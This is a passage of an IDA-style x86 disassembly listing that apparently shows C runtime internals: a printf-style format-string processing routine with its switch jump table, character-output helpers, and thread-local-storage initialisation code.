loc_414C50:				; CODE XREF: sub_414C48+1Fj
		mov	ecx, [ebp+arg_8]
		mov	al, [ebp+arg_0]
		dec	[ebp+arg_4]
		call	sub_414C15
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_414C69


loc_414C63:				; CODE XREF: sub_414C48+6j
		cmp	[ebp+arg_4], 0
		jg	short loc_414C50


loc_414C69:				; CODE XREF: sub_414C48+19j
		pop	esi
		pop	ebp
		retn
sub_414C48	endp


; =============== S U B	R O U T	I N E =======================================



sub_414C6C	proc near		; CODE XREF: sub_414CA3+6B6p
					; sub_414CA3+70Ep ...

arg_0		= dword	ptr  4

		test	byte ptr [edi+0Ch], 40h
		push	ebx
		push	esi
		mov	esi, eax
		mov	ebx, ecx
		jz	short loc_414C99
		cmp	dword ptr [edi+8], 0
		jnz	short loc_414C99
		mov	eax, [esp+8+arg_0]
		add	[esi], eax
		jmp	short loc_414CA0
; ---------------------------------------------------------------------------


loc_414C86:				; CODE XREF: sub_414C6C+32j
		mov	al, [ebx]
		dec	[esp+8+arg_0]
		mov	ecx, edi
		call	sub_414C15
		inc	ebx
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_414CA0


loc_414C99:				; CODE XREF: sub_414C6C+Aj
					; sub_414C6C+10j
		cmp	[esp+8+arg_0], 0
		jg	short loc_414C86


loc_414CA0:				; CODE XREF: sub_414C6C+18j
					; sub_414C6C+2Bj
		pop	esi
		pop	ebx
		retn
sub_414C6C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414CA3	proc near		; CODE XREF: sub_412BB5+2Ap
					; sub_412E0D+29p ...

var_254		= byte ptr -254h
var_55		= byte ptr -55h
var_54		= byte ptr -54h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 254h
		mov	eax, dword_42CE38
		xor	eax, [ebp+4]
		push	ebx
		mov	[ebp+var_4], eax
		xor	eax, eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_2C], eax
		mov	eax, [ebp+arg_4]
		mov	bl, [eax]
		xor	ecx, ecx
		test	bl, bl
		jz	loc_415407
		push	esi
		push	edi
		mov	edi, eax
		jmp	short loc_414CDB
; ---------------------------------------------------------------------------


loc_414CD8:				; CODE XREF: sub_414CA3+75Cj
		mov	ecx, [ebp+var_38]


loc_414CDB:				; CODE XREF: sub_414CA3+33j
		inc	edi
		cmp	[ebp+var_18], 0
		mov	[ebp+arg_4], edi
		jl	loc_415405
		cmp	bl, 20h
		jl	short loc_414D02
		cmp	bl, 78h
		jg	short loc_414D02
		movsx	eax, bl
		movsx	eax, byte ptr ds:stru_4277E0._unk[eax]
		and	eax, 0Fh
		jmp	short loc_414D04
; ---------------------------------------------------------------------------


loc_414D02:				; CODE XREF: sub_414CA3+49j
					; sub_414CA3+4Ej
		xor	eax, eax


loc_414D04:				; CODE XREF: sub_414CA3+5Dj
		movsx	eax, ds:byte_427800[ecx+eax*8]
		push	7
		sar	eax, 4
		pop	ecx
		cmp	eax, ecx	; switch 8 cases
		mov	[ebp+var_38], eax
		ja	loc_4153F8	; default
		jmp	ds:off_415418[eax*4] ; switch jump


loc_414D24:				; DATA XREF: .text:off_415418o
		xor	eax, eax	; jumptable 00414D1D case 1
		or	[ebp+var_C], 0FFFFFFFFh
		mov	[ebp+var_3C], eax
		mov	[ebp+var_34], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_28], eax
		jmp	loc_4153F8	; default
; ---------------------------------------------------------------------------


loc_414D41:				; CODE XREF: sub_414CA3+7Aj
					; DATA XREF: .text:off_415418o
		movsx	eax, bl		; jumptable 00414D1D case 2
		sub	eax, 20h
		jz	short loc_414D84
		sub	eax, 3
		jz	short loc_414D7B
		sub	eax, 8
		jz	short loc_414D72
		dec	eax
		dec	eax
		jz	short loc_414D69
		sub	eax, 3
		jnz	loc_4153F8	; default
		or	[ebp+var_8], 8
		jmp	loc_4153F8	; default
; ---------------------------------------------------------------------------


loc_414D69:				; CODE XREF: sub_414CA3+B2j
		or	[ebp+var_8], 4
		jmp	loc_4153F8	; default
; ---------------------------------------------------------------------------


loc_414D72:				; CODE XREF: sub_414CA3+AEj
		or	[ebp+var_8], 1
		jmp	loc_4153F8	; default
; ---------------------------------------------------------------------------


loc_414D7B:				; CODE XREF: sub_414CA3+A9j
		or	byte ptr [ebp+var_8], 80h
		jmp	loc_4153F8	; default
; ---------------------------------------------------------------------------


loc_414D84:				; CODE XREF: sub_414CA3+A4j
		or	[ebp+var_8], 2
		jmp	loc_4153F8	; default
; ---------------------------------------------------------------------------


loc_414D8D:				; CODE XREF: sub_414CA3+7Aj
					; DATA XREF: .text:off_415418o
		cmp	bl, 2Ah		; jumptable 00414D1D case 3
		jnz	short loc_414DB3
		add	[ebp+arg_8], 4
		mov	eax, [ebp+arg_8]
		mov	eax, [eax-4]
		test	eax, eax
		mov	[ebp+var_24], eax
		jge	loc_4153F8	; default
		or	[ebp+var_8], 4
		neg	[ebp+var_24]
		jmp	loc_4153F8	; default
; ---------------------------------------------------------------------------


loc_414DB3:				; CODE XREF: sub_414CA3+EDj
		mov	eax, [ebp+var_24]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_24], eax
		jmp	loc_4153F8	; default
; ---------------------------------------------------------------------------


loc_414DC8:				; CODE XREF: sub_414CA3+7Aj
					; DATA XREF: .text:off_415418o
		and	[ebp+var_C], 0	; jumptable 00414D1D case 4
		jmp	loc_4153F8	; default
; ---------------------------------------------------------------------------


loc_414DD1:				; CODE XREF: sub_414CA3+7Aj
					; DATA XREF: .text:off_415418o
		cmp	bl, 2Ah		; jumptable 00414D1D case 5
		jnz	short loc_414DF4
		add	[ebp+arg_8], 4
		mov	eax, [ebp+arg_8]
		mov	eax, [eax-4]
		test	eax, eax
		mov	[ebp+var_C], eax
		jge	loc_4153F8	; default
		or	[ebp+var_C], 0FFFFFFFFh
		jmp	loc_4153F8	; default
; ---------------------------------------------------------------------------


loc_414DF4:				; CODE XREF: sub_414CA3+131j
		mov	eax, [ebp+var_C]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	loc_4153F8	; default
; ---------------------------------------------------------------------------


loc_414E09:				; CODE XREF: sub_414CA3+7Aj
					; DATA XREF: .text:off_415418o
		cmp	bl, 49h		; jumptable 00414D1D case 6
		jz	short loc_414E3C
		cmp	bl, 68h
		jz	short loc_414E33
		cmp	bl, 6Ch
		jz	short loc_414E2A
		cmp	bl, 77h
		jnz	loc_4153F8	; default
		or	byte ptr [ebp+var_8+1],	8
		jmp	loc_4153F8	; default
; ---------------------------------------------------------------------------


loc_414E2A:				; CODE XREF: sub_414CA3+173j
		or	[ebp+var_8], 10h
		jmp	loc_4153F8	; default
; ---------------------------------------------------------------------------


loc_414E33:				; CODE XREF: sub_414CA3+16Ej
		or	[ebp+var_8], 20h
		jmp	loc_4153F8	; default
; ---------------------------------------------------------------------------


loc_414E3C:				; CODE XREF: sub_414CA3+169j
		mov	al, [edi]
		cmp	al, 36h
		jnz	short loc_414E56
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_414E56
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_8+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_4153F8	; default
; ---------------------------------------------------------------------------


loc_414E56:				; CODE XREF: sub_414CA3+19Dj
					; sub_414CA3+1A3j
		cmp	al, 33h
		jnz	short loc_414E6E
		cmp	byte ptr [edi+1], 32h
		jnz	short loc_414E6E
		inc	edi
		inc	edi
		and	byte ptr [ebp+var_8+1],	7Fh
		mov	[ebp+arg_4], edi
		jmp	loc_4153F8	; default
; ---------------------------------------------------------------------------


loc_414E6E:				; CODE XREF: sub_414CA3+1B5j
					; sub_414CA3+1BBj
		cmp	al, 64h
		jz	loc_4153F8	; default
		cmp	al, 69h
		jz	loc_4153F8	; default
		cmp	al, 6Fh
		jz	loc_4153F8	; default
		cmp	al, 75h
		jz	loc_4153F8	; default
		cmp	al, 78h
		jz	loc_4153F8	; default
		cmp	al, 58h
		jz	loc_4153F8	; default
		and	[ebp+var_38], 0


loc_414EA2:				; CODE XREF: sub_414CA3+7Aj
					; DATA XREF: .text:off_415418o
		mov	ecx, off_42CE30	; jumptable 00414D1D case 0
		and	[ebp+var_28], 0
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_414EC9
		mov	ecx, [ebp+arg_0]
		lea	esi, [ebp+var_18]
		mov	al, bl
		call	sub_414C15
		mov	bl, [edi]
		inc	edi
		mov	[ebp+arg_4], edi


loc_414EC9:				; CODE XREF: sub_414CA3+211j
		mov	ecx, [ebp+arg_0]
		lea	esi, [ebp+var_18]
		mov	al, bl
		call	sub_414C15
		jmp	loc_4153F8	; default
; ---------------------------------------------------------------------------


loc_414EDB:				; CODE XREF: sub_414CA3+7Aj
					; DATA XREF: .text:off_415418o
		movsx	eax, bl		; jumptable 00414D1D case 7
		cmp	eax, 67h
		jg	loc_41512D
		cmp	eax, 65h
		jge	loc_414F70
		cmp	eax, 58h
		jg	loc_414FD1
		jz	loc_4151AE
		sub	eax, 43h
		jz	loc_414F93
		dec	eax
		dec	eax
		jz	short loc_414F66
		dec	eax
		dec	eax
		jz	short loc_414F66
		sub	eax, 0Ch
		jnz	loc_4152F6
		test	word ptr [ebp+var_8], 830h
		jnz	short loc_414F25
		or	byte ptr [ebp+var_8+1],	8


loc_414F25:				; CODE XREF: sub_414CA3+27Cj
					; sub_414CA3+4A9j
		mov	ecx, [ebp+var_C]
		cmp	ecx, 0FFFFFFFFh
		jnz	short loc_414F32
		mov	ecx, 7FFFFFFFh


loc_414F32:				; CODE XREF: sub_414CA3+288j
		add	[ebp+arg_8], 4
		test	word ptr [ebp+var_8], 810h
		mov	eax, [ebp+arg_8]
		mov	eax, [eax-4]
		mov	[ebp+var_10], eax
		jz	loc_415183
		test	eax, eax
		jnz	short loc_414F57
		mov	eax, off_42C74C
		mov	[ebp+var_10], eax


loc_414F57:				; CODE XREF: sub_414CA3+2AAj
		mov	eax, [ebp+var_10]
		mov	[ebp+var_28], 1
		jmp	loc_415175
; ---------------------------------------------------------------------------


loc_414F66:				; CODE XREF: sub_414CA3+267j
					; sub_414CA3+26Bj
		mov	[ebp+var_3C], 1
		add	bl, 20h


loc_414F70:				; CODE XREF: sub_414CA3+247j
		or	[ebp+var_8], 40h
		cmp	[ebp+var_C], 0
		lea	esi, [ebp+var_254]
		mov	[ebp+var_10], esi
		jge	loc_415077
		mov	[ebp+var_C], 6
		jmp	loc_4150BE
; ---------------------------------------------------------------------------


loc_414F93:				; CODE XREF: sub_414CA3+25Fj
		test	word ptr [ebp+var_8], 830h
		jnz	short loc_414F9F
		or	byte ptr [ebp+var_8+1],	8


loc_414F9F:				; CODE XREF: sub_414CA3+2F6j
					; sub_414CA3+336j
		add	[ebp+arg_8], 4
		test	word ptr [ebp+var_8], 810h
		mov	eax, [ebp+arg_8]
		jz	short loc_415010
		movsx	eax, word ptr [eax-4]
		push	eax
		lea	eax, [ebp+var_254]
		push	eax
		call	sub_41AADA
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	[ebp+var_14], eax
		jge	short loc_415020
		mov	[ebp+var_34], 1
		jmp	short loc_415020
; ---------------------------------------------------------------------------


loc_414FD1:				; CODE XREF: sub_414CA3+250j
		sub	eax, 5Ah
		jz	short loc_41502E
		sub	eax, 9
		jz	short loc_414F9F
		dec	eax
		jnz	loc_4152F6


loc_414FE2:				; CODE XREF: sub_414CA3+48Dj
		or	[ebp+var_8], 40h


loc_414FE6:				; CODE XREF: sub_414CA3+4B1j
		mov	[ebp+var_14], 0Ah


loc_414FED:				; CODE XREF: sub_414CA3+519j
					; sub_414CA3+532j ...
		mov	ebx, [ebp+var_8]
		mov	esi, 8000h
		test	ebx, esi
		jz	loc_41521E
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	ecx, 8
		mov	[ebp+arg_8], ecx
		jmp	loc_415246
; ---------------------------------------------------------------------------


loc_415010:				; CODE XREF: sub_414CA3+309j
		mov	al, [eax-4]
		mov	[ebp+var_254], al
		mov	[ebp+var_14], 1


loc_415020:				; CODE XREF: sub_414CA3+323j
					; sub_414CA3+32Cj
		lea	eax, [ebp+var_254]
		mov	[ebp+var_10], eax
		jmp	loc_4152F6
; ---------------------------------------------------------------------------


loc_41502E:				; CODE XREF: sub_414CA3+331j
		add	[ebp+arg_8], 4
		mov	eax, [ebp+arg_8]
		mov	eax, [eax-4]
		test	eax, eax
		jz	short loc_415069
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_415069
		test	byte ptr [ebp+var_8+1],	8
		movsx	eax, word ptr [eax]
		mov	[ebp+var_10], ecx
		jz	short loc_415060
		cdq
		sub	eax, edx
		sar	eax, 1
		mov	[ebp+var_28], 1
		jmp	loc_4152F3
; ---------------------------------------------------------------------------


loc_415060:				; CODE XREF: sub_414CA3+3AAj
		and	[ebp+var_28], 0
		jmp	loc_4152F3
; ---------------------------------------------------------------------------


loc_415069:				; CODE XREF: sub_414CA3+397j
					; sub_414CA3+39Ej
		mov	eax, off_42C748
		mov	[ebp+var_10], eax
		push	eax
		jmp	loc_415122
; ---------------------------------------------------------------------------


loc_415077:				; CODE XREF: sub_414CA3+2DEj
		jnz	short loc_415087
		cmp	bl, 67h
		jnz	short loc_4150BE
		mov	[ebp+var_C], 1
		jmp	short loc_4150BE
; ---------------------------------------------------------------------------


loc_415087:				; CODE XREF: sub_414CA3:loc_415077j
		mov	eax, 200h
		cmp	[ebp+var_C], eax
		jle	short loc_415094
		mov	[ebp+var_C], eax


loc_415094:				; CODE XREF: sub_414CA3+3ECj
		mov	edi, 0A3h
		cmp	[ebp+var_C], edi
		jle	short loc_4150BE
		mov	eax, [ebp+var_C]
		add	eax, 15Dh
		push	eax
		call	sub_41344D
		test	eax, eax
		pop	ecx
		mov	[ebp+var_2C], eax
		jz	short loc_4150BB
		mov	[ebp+var_10], eax
		mov	esi, eax
		jmp	short loc_4150BE
; ---------------------------------------------------------------------------


loc_4150BB:				; CODE XREF: sub_414CA3+40Fj
		mov	[ebp+var_C], edi


loc_4150BE:				; CODE XREF: sub_414CA3+2EBj
					; sub_414CA3+3D9j ...
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax]
		push	[ebp+var_3C]
		add	eax, 8
		push	[ebp+var_C]
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_48], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_4C]
		push	esi
		push	eax
		mov	[ebp+var_4C], ecx
		call	off_42CE18
		mov	edi, [ebp+var_8]
		add	esp, 14h
		and	edi, 80h
		jz	short loc_415103
		cmp	[ebp+var_C], 0
		jnz	short loc_415103
		push	esi
		call	off_42CE24
		pop	ecx


loc_415103:				; CODE XREF: sub_414CA3+450j
					; sub_414CA3+456j
		cmp	bl, 67h
		jnz	short loc_415114
		test	edi, edi
		jnz	short loc_415114
		push	esi
		call	off_42CE1C
		pop	ecx


loc_415114:				; CODE XREF: sub_414CA3+463j
					; sub_414CA3+467j
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_415121
		or	byte ptr [ebp+var_8+1],	1
		inc	esi
		mov	[ebp+var_10], esi


loc_415121:				; CODE XREF: sub_414CA3+474j
		push	esi


loc_415122:				; CODE XREF: sub_414CA3+3CFj
		call	sub_416000
		pop	ecx
		jmp	loc_4152F3
; ---------------------------------------------------------------------------


loc_41512D:				; CODE XREF: sub_414CA3+23Ej
		sub	eax, 69h
		jz	loc_414FE2
		sub	eax, 5
		jz	loc_4151F4
		dec	eax
		jz	loc_4151DA
		dec	eax
		jz	short loc_4151A7
		sub	eax, 3
		jz	loc_414F25
		dec	eax
		dec	eax
		jz	loc_414FE6
		sub	eax, 3
		jnz	loc_4152F6
		mov	[ebp+var_30], 27h
		jmp	short loc_4151B1
; ---------------------------------------------------------------------------


loc_41516C:				; CODE XREF: sub_414CA3+4D4j
		dec	ecx
		cmp	word ptr [eax],	0
		jz	short loc_415179
		inc	eax
		inc	eax


loc_415175:				; CODE XREF: sub_414CA3+2BEj
		test	ecx, ecx
		jnz	short loc_41516C


loc_415179:				; CODE XREF: sub_414CA3+4CEj
		sub	eax, [ebp+var_10]
		sar	eax, 1
		jmp	loc_4152F3
; ---------------------------------------------------------------------------


loc_415183:				; CODE XREF: sub_414CA3+2A2j
		test	eax, eax
		jnz	short loc_41518F
		mov	eax, off_42C748
		mov	[ebp+var_10], eax


loc_41518F:				; CODE XREF: sub_414CA3+4E2j
		mov	eax, [ebp+var_10]
		jmp	short loc_41519B
; ---------------------------------------------------------------------------


loc_415194:				; CODE XREF: sub_414CA3+4FAj
		dec	ecx
		cmp	byte ptr [eax],	0
		jz	short loc_41519F
		inc	eax


loc_41519B:				; CODE XREF: sub_414CA3+4EFj
		test	ecx, ecx
		jnz	short loc_415194


loc_41519F:				; CODE XREF: sub_414CA3+4F5j
		sub	eax, [ebp+var_10]
		jmp	loc_4152F3
; ---------------------------------------------------------------------------


loc_4151A7:				; CODE XREF: sub_414CA3+4A4j
		mov	[ebp+var_C], 8


loc_4151AE:				; CODE XREF: sub_414CA3+256j
		mov	[ebp+var_30], ecx


loc_4151B1:				; CODE XREF: sub_414CA3+4C7j
		test	byte ptr [ebp+var_8], 80h
		mov	[ebp+var_14], 10h
		jz	loc_414FED
		mov	al, byte ptr [ebp+var_30]
		add	al, 51h
		mov	[ebp+var_1C], 30h
		mov	[ebp+var_1B], al
		mov	[ebp+var_20], 2
		jmp	loc_414FED
; ---------------------------------------------------------------------------


loc_4151DA:				; CODE XREF: sub_414CA3+49Dj
		test	byte ptr [ebp+var_8], 80h
		mov	[ebp+var_14], 8
		jz	loc_414FED
		or	byte ptr [ebp+var_8+1],	2
		jmp	loc_414FED
; ---------------------------------------------------------------------------


loc_4151F4:				; CODE XREF: sub_414CA3+496j
		add	[ebp+arg_8], 4
		test	byte ptr [ebp+var_8], 20h
		mov	eax, [ebp+arg_8]
		mov	eax, [eax-4]
		jz	short loc_41520D
		mov	cx, word ptr [ebp+var_18]
		mov	[eax], cx
		jmp	short loc_415212
; ---------------------------------------------------------------------------


loc_41520D:				; CODE XREF: sub_414CA3+55Fj
		mov	ecx, [ebp+var_18]
		mov	[eax], ecx


loc_415212:				; CODE XREF: sub_414CA3+568j
		mov	[ebp+var_34], 1
		jmp	loc_4153E5
; ---------------------------------------------------------------------------


loc_41521E:				; CODE XREF: sub_414CA3+354j
		add	[ebp+arg_8], 4
		test	bl, 20h
		mov	eax, [ebp+arg_8]
		jz	short loc_41523C
		test	bl, 40h
		jz	short loc_415236
		movsx	eax, word ptr [eax-4]


loc_415233:				; CODE XREF: sub_414CA3+597j
					; sub_414CA3+59Fj
		cdq
		jmp	short loc_415246
; ---------------------------------------------------------------------------


loc_415236:				; CODE XREF: sub_414CA3+58Aj
		movzx	eax, word ptr [eax-4]
		jmp	short loc_415233
; ---------------------------------------------------------------------------


loc_41523C:				; CODE XREF: sub_414CA3+585j
		test	bl, 40h
		mov	eax, [eax-4]
		jnz	short loc_415233
		xor	edx, edx


loc_415246:				; CODE XREF: sub_414CA3+368j
					; sub_414CA3+591j
		test	bl, 40h
		jz	short loc_415260
		test	edx, edx
		jg	short loc_415260
		jl	short loc_415255
		test	eax, eax
		jnb	short loc_415260


loc_415255:				; CODE XREF: sub_414CA3+5ACj
		neg	eax
		adc	edx, 0
		neg	edx
		or	byte ptr [ebp+var_8+1],	1


loc_415260:				; CODE XREF: sub_414CA3+5A6j
					; sub_414CA3+5AAj ...
		test	[ebp+var_8], esi
		mov	ebx, eax
		mov	edi, edx
		jnz	short loc_41526B
		xor	edi, edi


loc_41526B:				; CODE XREF: sub_414CA3+5C4j
		cmp	[ebp+var_C], 0
		jge	short loc_41527A
		mov	[ebp+var_C], 1
		jmp	short loc_41528B
; ---------------------------------------------------------------------------


loc_41527A:				; CODE XREF: sub_414CA3+5CCj
		and	[ebp+var_8], 0FFFFFFF7h
		mov	eax, 200h
		cmp	[ebp+var_C], eax
		jle	short loc_41528B
		mov	[ebp+var_C], eax


loc_41528B:				; CODE XREF: sub_414CA3+5D5j
					; sub_414CA3+5E3j
		mov	eax, ebx
		or	eax, edi
		jnz	short loc_415295
		and	[ebp+var_20], 0


loc_415295:				; CODE XREF: sub_414CA3+5ECj
		lea	esi, [ebp+var_55]


loc_415298:				; CODE XREF: sub_414CA3+627j
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jg	short loc_4152A8
		mov	eax, ebx
		or	eax, edi
		jz	short loc_4152CC


loc_4152A8:				; CODE XREF: sub_414CA3+5FDj
		mov	eax, [ebp+var_14]
		cdq
		push	edx
		push	eax
		push	edi
		push	ebx
		call	sub_413500
		add	ecx, 30h
		cmp	ecx, 39h
		mov	[ebp+var_40], ebx
		mov	ebx, eax
		mov	edi, edx
		jle	short loc_4152C7
		add	ecx, [ebp+var_30]


loc_4152C7:				; CODE XREF: sub_414CA3+61Fj
		mov	[esi], cl
		dec	esi
		jmp	short loc_415298
; ---------------------------------------------------------------------------


loc_4152CC:				; CODE XREF: sub_414CA3+603j
		lea	eax, [ebp+var_55]
		sub	eax, esi
		inc	esi
		test	byte ptr [ebp+var_8+1],	2
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], esi
		jz	short loc_4152F6
		mov	ecx, esi
		cmp	byte ptr [ecx],	30h
		jnz	short loc_4152E9
		test	eax, eax
		jnz	short loc_4152F6


loc_4152E9:				; CODE XREF: sub_414CA3+640j
		dec	[ebp+var_10]
		mov	ecx, [ebp+var_10]
		mov	byte ptr [ecx],	30h
		inc	eax


loc_4152F3:				; CODE XREF: sub_414CA3+3B8j
					; sub_414CA3+3C1j ...
		mov	[ebp+var_14], eax


loc_4152F6:				; CODE XREF: sub_414CA3+270j
					; sub_414CA3+339j ...
		cmp	[ebp+var_34], 0
		jnz	loc_4153E5
		mov	ebx, [ebp+var_8]
		test	bl, 40h
		jz	short loc_41532E
		test	bh, 1
		jz	short loc_415313
		mov	[ebp+var_1C], 2Dh
		jmp	short loc_415327
; ---------------------------------------------------------------------------


loc_415313:				; CODE XREF: sub_414CA3+668j
		test	bl, 1
		jz	short loc_41531E
		mov	[ebp+var_1C], 2Bh
		jmp	short loc_415327
; ---------------------------------------------------------------------------


loc_41531E:				; CODE XREF: sub_414CA3+673j
		test	bl, 2
		jz	short loc_41532E
		mov	[ebp+var_1C], 20h


loc_415327:				; CODE XREF: sub_414CA3+66Ej
					; sub_414CA3+679j
		mov	[ebp+var_20], 1


loc_41532E:				; CODE XREF: sub_414CA3+663j
					; sub_414CA3+67Ej
		mov	esi, [ebp+var_24]
		sub	esi, [ebp+var_20]
		sub	esi, [ebp+var_14]
		test	bl, 0Ch
		jnz	short loc_41534D
		push	[ebp+arg_0]
		lea	eax, [ebp+var_18]
		push	esi
		push	20h
		call	sub_414C48
		add	esp, 0Ch


loc_41534D:				; CODE XREF: sub_414CA3+697j
		push	[ebp+var_20]
		mov	edi, [ebp+arg_0]
		lea	eax, [ebp+var_18]
		lea	ecx, [ebp+var_1C]
		call	sub_414C6C
		test	bl, 8
		pop	ecx
		jz	short loc_415378
		test	bl, 4
		jnz	short loc_415378
		push	edi
		push	esi
		push	30h
		lea	eax, [ebp+var_18]
		call	sub_414C48
		add	esp, 0Ch


loc_415378:				; CODE XREF: sub_414CA3+6BFj
					; sub_414CA3+6C4j
		cmp	[ebp+var_28], 0
		jz	short loc_4153BF
		cmp	[ebp+var_14], 0
		jle	short loc_4153BF
		mov	eax, [ebp+var_14]
		mov	ebx, [ebp+var_10]
		mov	[ebp+var_40], eax


loc_41538D:				; CODE XREF: sub_414CA3+718j
		dec	[ebp+var_40]
		xor	eax, eax
		mov	ax, [ebx]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		call	sub_41AADA
		inc	ebx
		pop	ecx
		inc	ebx
		test	eax, eax
		pop	ecx
		jle	short loc_4153CE
		mov	edi, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_18]
		lea	ecx, [ebp+var_54]
		call	sub_414C6C
		cmp	[ebp+var_40], 0
		pop	ecx
		jnz	short loc_41538D
		jmp	short loc_4153CE
; ---------------------------------------------------------------------------


loc_4153BF:				; CODE XREF: sub_414CA3+6D9j
					; sub_414CA3+6DFj
		push	[ebp+var_14]
		mov	ecx, [ebp+var_10]
		lea	eax, [ebp+var_18]
		call	sub_414C6C
		pop	ecx


loc_4153CE:				; CODE XREF: sub_414CA3+702j
					; sub_414CA3+71Aj
		test	byte ptr [ebp+var_8], 4
		jz	short loc_4153E5
		push	[ebp+arg_0]
		lea	eax, [ebp+var_18]
		push	esi
		push	20h
		call	sub_414C48
		add	esp, 0Ch


loc_4153E5:				; CODE XREF: sub_414CA3+576j
					; sub_414CA3+657j ...
		cmp	[ebp+var_2C], 0
		jz	short loc_4153F8 ; default
		push	[ebp+var_2C]
		call	sub_412FE4
		and	[ebp+var_2C], 0
		pop	ecx


loc_4153F8:				; CODE XREF: sub_414CA3+74j
					; sub_414CA3+99j ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		test	bl, bl
		jnz	loc_414CD8


loc_415405:				; CODE XREF: sub_414CA3+40j
		pop	edi
		pop	esi


loc_415407:				; CODE XREF: sub_414CA3+29j
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		mov	eax, [ebp+var_18]
		pop	ebx
		call	sub_4182D6
		leave
		retn
sub_414CA3	endp

; ---------------------------------------------------------------------------
off_415418	dd offset loc_414EA2	; DATA XREF: sub_414CA3+7Ar
		dd offset loc_414D24	; jump table for switch	statement
		dd offset loc_414D41
		dd offset loc_414D8D
		dd offset loc_414DC8
		dd offset loc_414DD1
		dd offset loc_414E09
		dd offset loc_414EDB

; =============== S U B	R O U T	I N E =======================================



sub_415438	proc near		; CODE XREF: sub_4154C7:loc_4154E0p
					; sub_4154C7:loc_41552Dp
		call	sub_416818
		mov	eax, dword_42C750
		cmp	eax, 0FFFFFFFFh
		jz	short locret_415455
		push	eax
		call	ds:dword_41F150	; TlsFree
		or	dword_42C750, 0FFFFFFFFh

locret_415455:				; CODE XREF: sub_415438+Dj
		retn
sub_415438	endp


; =============== S U B	R O U T	I N E =======================================



sub_415456	proc near		; CODE XREF: sub_412D64p sub_412D71p ...
		push	ebx
		push	esi
		call	ds:dword_41F008	; RtlGetLastWin32Error
		push	dword_42C750
		mov	ebx, eax
		call	ds:dword_41F160	; TlsGetValue
		mov	esi, eax
		test	esi, esi
		jnz	short loc_4154BB
		push	88h
		push	1
		call	sub_41AB01
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jz	short loc_4154B3
		push	esi
		push	dword_42C750
		call	ds:dword_41F15C	; TlsSetValue
		test	eax, eax
		jz	short loc_4154B3
		mov	dword ptr [esi+54h], offset dword_42CFE0
		mov	dword ptr [esi+14h], 1
		call	ds:dword_41F158	; GetCurrentThreadId
		or	dword ptr [esi+4], 0FFFFFFFFh
		mov	[esi], eax
		jmp	short loc_4154BB
; ---------------------------------------------------------------------------


loc_4154B3:				; CODE XREF: sub_415456+2Ej
					; sub_415456+3Fj
		push	10h
		call	sub_4148E1
		pop	ecx


loc_4154BB:				; CODE XREF: sub_415456+1Aj
					; sub_415456+5Bj
		push	ebx
		call	ds:dword_41F154	; RtlSetLastWin32Error
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_415456	endp


; =============== S U B	R O U T	I N E =======================================



sub_4154C7	proc near		; CODE XREF: .text:loc_414A05p
		call	sub_4167CF
		test	eax, eax
		jz	short loc_4154E0
		call	ds:dword_41F164	; TlsAlloc
		cmp	eax, 0FFFFFFFFh
		mov	dword_42C750, eax
		jnz	short loc_4154E8


loc_4154E0:				; CODE XREF: sub_4154C7+7j
		call	sub_415438
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4154E8:				; CODE XREF: sub_4154C7+17j
		push	esi
		push	88h
		push	1
		call	sub_41AB01
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jz	short loc_41552D
		push	esi
		push	dword_42C750
		call	ds:dword_41F15C	; TlsSetValue
		test	eax, eax
		jz	short loc_41552D
		mov	dword ptr [esi+54h], offset dword_42CFE0
		mov	dword ptr [esi+14h], 1
		call	ds:dword_41F158	; GetCurrentThreadId
		or	dword ptr [esi+4], 0FFFFFFFFh
		mov	[esi], eax
		xor	eax, eax
		inc	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41552D:				; CODE XREF: sub_4154C7+34j
					; sub_4154C7+45j
		call	sub_415438
		xor	eax, eax
		pop	esi
		retn
sub_4154C7	endp


; =============== S U B	R O U T	I N E =======================================



sub_415536	proc near		; CODE XREF: sub_41554C+52p
